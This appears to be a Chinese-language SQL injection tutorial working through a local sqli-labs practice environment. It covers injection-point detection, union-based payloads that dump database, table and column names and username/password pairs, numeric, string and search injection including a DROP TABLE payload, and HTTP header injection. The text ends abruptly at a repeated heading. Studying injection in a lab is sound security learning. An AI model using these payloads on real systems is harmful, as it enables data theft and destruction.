SQL注入（二）sql注入基本流程与注入类型

SQL注入（二）

1. SQL注入的基本流程

1.1 判断注入点

输入点分析：首先，需要识别应用程序中的输入点，包括用户输入的表单字段、URL参数、Cookie等。

尝试注入：在识别到可能的注入点后，可以尝试在这些输入点中插入一些特殊字符（如单引号 '、双引号 "、分号 ; 等）来观察应用程序的反应。如果应用程序返回错误信息、显示异常或者执行了不正常的操作，可能表示存在SQL注入漏洞。

1.2 报错猜解

1. 构造恶意输入：攻击者在注入点插入恶意的SQL代码，例如在一个输入框中输入 ' OR 1=1;--，以尝试触发SQL注入漏洞。

2. 触发报错：攻击者通过构造的恶意输入，试图触发应用程序返回数据库错误信息。例如，攻击者可能会在注入点中插入一个不存在的列名或表名，导致数据库执行错误并返回相关错误信息。

   3.解析错误信息：应用程序返回的错误信息中可能包含数据库相关的信息，如数据库类型、表名、列名等。攻击者可以通过解析这些错误信息来获取敏感数据或了解数据库结构。

1.3 使用SQL语句进行查询

见sql注入（一）

1.4 一次简单的注入实例

判断注入点为id
http://localhost/sqli-labs/Less-2/index.php?id=-1 --+

使用order by猜列数。order by 3正常，order by 4报错。因此表中有3个列，以便后续使用union查询
?id=1 order by 4 --+
爆破数据库
?id=-1 union select 1,2,group_concat(schema_name)from
information_schema.schemata--+
爆破表单名
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables
where table_schema=database()--+
爆破字段
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns
where table_name='users'--+
爆破字段内容
?id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)-
-+

2. 注入点的数据类型

2.1 数字型

假设一个应用程序接收用户输入的ID参数，并根据该ID从数据库中检索相关信息：

SELECT * FROM users WHERE id = $user_input;

如果应用程序未正确验证和过滤用户输入，攻击者可以在ID参数（1 OR 1=1）中注入恶意的SQL代码，例如：

SELECT * FROM users WHERE id = 1 OR 1=1;

2.2 字符型

假设一个应用程序接收用户输入的用户名，并根据该用户名从数据库中检索相关信息：

SELECT * FROM users WHERE username = '$user_input';

如果应用程序未正确验证和过滤用户输入，攻击者可以在用户名参数（' OR 1=1;--）中注入恶意的SQL代码，例如：

SELECT * FROM users WHERE username = 'admin' OR 1=1;

2.3 搜索型

这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面，而是直接通过搜索框表单提交。

假设一个应用程序具有一个搜索功能，用户可以输入关键字搜索相关内容：

SELECT * FROM products WHERE name LIKE '%$user_input%';

如果应用程序未正确验证和过滤用户输入，攻击者可以在搜索关键字中注入恶意的SQL代码（%'; DROP TABLE products; --），例如：

SELECT * FROM products WHERE name LIKE '%'; DROP TABLE products; --';

2.4 其他型

其他型：也就是由于SQL语句拼接方式不同，在SQL中的实际语句为：，其本质为（xx') or 1=1 # ）

常见的闭合符号：'     ''    %     (      {

2.5 例 sqli-labs(1-4)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

3 提交方式

3.1 GET方式

在GET请求中，参数会附加在URL的末尾，例如：

https://www.example.com/search?keyword=example

3.2 POST方式

POST请求将数据放在请求的主体中，而不是附加在URL的末尾。这种方式使得POST请求更适合传输敏感数据或大量数据，因为数据不会暴露在URL中。

以下是一个POST请求的示例：

POST /login HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

username=user&password=pass

方法：利用BurpSuite抓包进行重放修改内容进行

3.3 Request方式

$_REQUEST（获取GET/POST/COOKIE）
$_POST（获取POST传参）
$_GET（获取GET传参）
$_COOKIE（获取COOKIE传参）
$_SERVER（包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组）

3.4 HTTP头注入

假设一个网站使用用户输入构建HTTP响应头部，如下所示：

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=12345

如果攻击者能够控制用户输入并在其中插入换行符（\n），则可能导致HTTP头注入漏洞，攻击者可能构造如下恶意请求：

GET /path HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Cookie: sessionid=12345\nSet-Cookie: malicioussession=abcdef

在这个示例中，攻击者成功在Cookie头部中插入了换行符，并添加了一个恶意的Set-Cookie头部，从而可能导致用户的会话被劫持或其他安全问题。

4 头部注入案例

4.1 user-agent头部注入

网页记录了本地ip的信息，说明可能事数据库记录了本机的信息，即后台获取了一些诸如Ip的信息保存

到数据库中，并且页面返回了数据包user-agent的信息，那么在请求头中就可能存在注入点

源码分析

源码分析